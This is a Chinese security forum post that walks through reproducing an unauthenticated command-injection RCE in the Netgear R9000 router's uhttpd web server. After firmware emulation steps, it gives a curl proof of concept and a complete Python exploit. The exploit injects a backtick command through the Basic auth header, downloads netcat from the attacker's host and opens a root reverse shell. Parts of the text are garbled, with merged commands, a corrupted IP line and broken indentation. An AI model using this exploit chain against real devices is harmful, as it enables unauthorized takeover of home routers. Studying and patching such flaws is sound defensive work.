查看: 112|回复: 0

Netgear Nighthawk X10 AD7200 (R9000) 认证绕过+命令执行漏洞完整复现

[复制链接]
发表于 4 小时前 来自手机 | 显示全部楼层 |阅读模式
固件版本:R9000-V1.0.4.26HF / V1.0.4.26
影响组件:uhttpd(OpenWrt 自研轻量级 Web Server)
漏洞类型:HTTP Basic 认证头命令注入 → 未授权远程代码执行(Unauthenticated RCE)
严重程度:Critical
漏洞原理简述:
R9000 使用 uhttpd 作为 Web 服务进程,在处理 HTTP Basic Authorization 头时存在一处典型的“解码后直接拼接到 system()”的经典错误:

uh_cgi_auth_check() → 
    base64_decode(Authorization: Basic X) → 
    username:password 形式字符串 → 
    直接拼接到 system("usockc " + decoded_str)

由于没有对 :之后的内容做任何过滤或长度限制,导致攻击者可通过在 password 字段注入反引号 cmd 的方式实现任意命令执行。

固件获取与解包
官方下载地址(任选其一):- https://www.netgear.com/support/product/r9000/ - https://kb.netgear.com/000060347/R9000-Firmware-Version-1-0-4-26固件文件:`R9000-V1.0.4.26.img` 使用 binwalk 解包:```bashbinwalk -Me R9000-V1.0.4.26.img解包后得到 squashfs-root 和其他目录

固件模拟环境搭建(推荐chroot方式,更稳定)

方案一:FirmAE(全自动,适合初学者)
./run.sh -d R9000 ./R9000-V1.0.4.26.img
方案二:手动 QEMU + chroot1
主机网络配置sudo tunctl -t tap0sudo ifconfig tap0 192.168.0.4/24 upecho 1 | sudo tee /proc/sys/net/ipv4/ip_forward > /dev/nullsudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE # ens33 改成你的外网口sudo iptables -A FORWARD -i tap0 -j ACCEPTsudo iptables -A FORWARD -o tap0 -j ACCEPT

2. 启动 QEMU ARM 虚拟机
(vexpress-a9)qemu-system-arm \ -M vexpress-a9 \ -kernel ./zImage \ -initrd ./initrd.img \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic,vlan=0 -net tap,ifname=tap0,script=no,downscript=no \ -nographic

可使用预编译好的 ARM Debian/Ubuntu 镜像,也可直接用 FirmAE 提供的镜像。

3. 虚拟机内网络配置
ifconfig eth0 192.Concurrent 192.168.0.2 netmask 255.255.255.0route add default gw 192.168.0.4

4. 传输并挂载固件文件系统

在主机打包 squashfs-root:cd squashfs-root && tar -czf ../r.tar.gz . python3 -m http.server 8000
在虚拟机中下载并解压:wget http://192.168.0.4:8000/r.tar.gztar -xzf r.tar.gz挂载必要文件系统并 chroot:
mount -o bind /dev ./squashfs-root/devmount -t proc none ./squashfs-root/procmount -t sysfs none ./squashfs-root/sysmkdir -p ./squashfs-root/tmp/var/runchroot squashfs-root /bin/sh

5. 启动 uhttpd(模拟真实路由器 Web 服务)
/usr/sbin/uhttpd -f -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.0:80
不需要证书参数,直接前台运行即可。
此时浏览器访问 http://192.168.0.3/cgi-bin/ 应显示登录页面或 401,说明环境搭建成功。

漏洞验证(手动)
使用 curl 构造恶意的 Authorization 头:
echo -n 'admin:`whoami`' | base64# 输出:YWRtaW46YHdob2FtaWA=curl -v "http://192.168.0.3/cgi-bin/" \ -H "Authorization: Basic YWRtaW46YHdob2FtaWA=" 
服务器返回 200,且日志中可见执行了 whoami → root,证明命令注入成功。或者使用 burp


获取反弹Shell(完整利用链)
1. 准备 ARM 版 netcat(已静态编译)
主机开启服务:
python3 -m http.server 8000# 放入 nc 文件(ARM little-endian 静态编译)
2. 一键 Python Exp
#!/usr/bin/env python3# -*- coding: utf-8 -*- 
# Netgear R9000 uhttpd RCE Exploit
# CVE-2019-20781
# Author: YourName
import requests
import base64
import time
target = "http://192.168.0.2/cgi-bin/" host_ip = "192.168.0.4" 
# 你的攻击机ip
lport = 4444

# 多行命令用 \n 拼接,反引号内执行
payload = f"wget http://{host_ip}:8000/nc -O /tmp/nc; " \
f"chmod +x /tmp/nc; " \
f"/tmp/nc {host_ip} {lport} -e /bin/sh" 
cmd = "admin:`" + payload + "`"
 b64 =base64.b64encode(cmd.encode()).decode()

headers = {
"Authorization": "Basic " + b64, "User-Agent": "Mozilla/5.0", "Connection": "close" 
}
print("[*] Sending payload...")
print("[*] Payload (b64):", b64)
print("[*] Waiting for reverse shell on port", lport)

try:
requests.get(target, headers=headers, timeout=15)
except:
pass
# 给点时间下载执行time.sleep(3)
print("[+] Done. Check your listener!")
执行脚本:
python3 exp.py
攻击机监听:
nc -lvnp 4444
成功获得 root shell!

修复建议:
Netgear 已于 V1.0.4.28+ 版本修复该漏洞,建议所有用户升级。
· 若无法升级,可在防火墙层拦截 /cgi-bin/ 路径或禁用 uhttpd。至此,Netgear R9000 高危命令执行漏洞完整复现结束。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-12-1 07:48 , Processed in 0.047676 second(s), 19 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部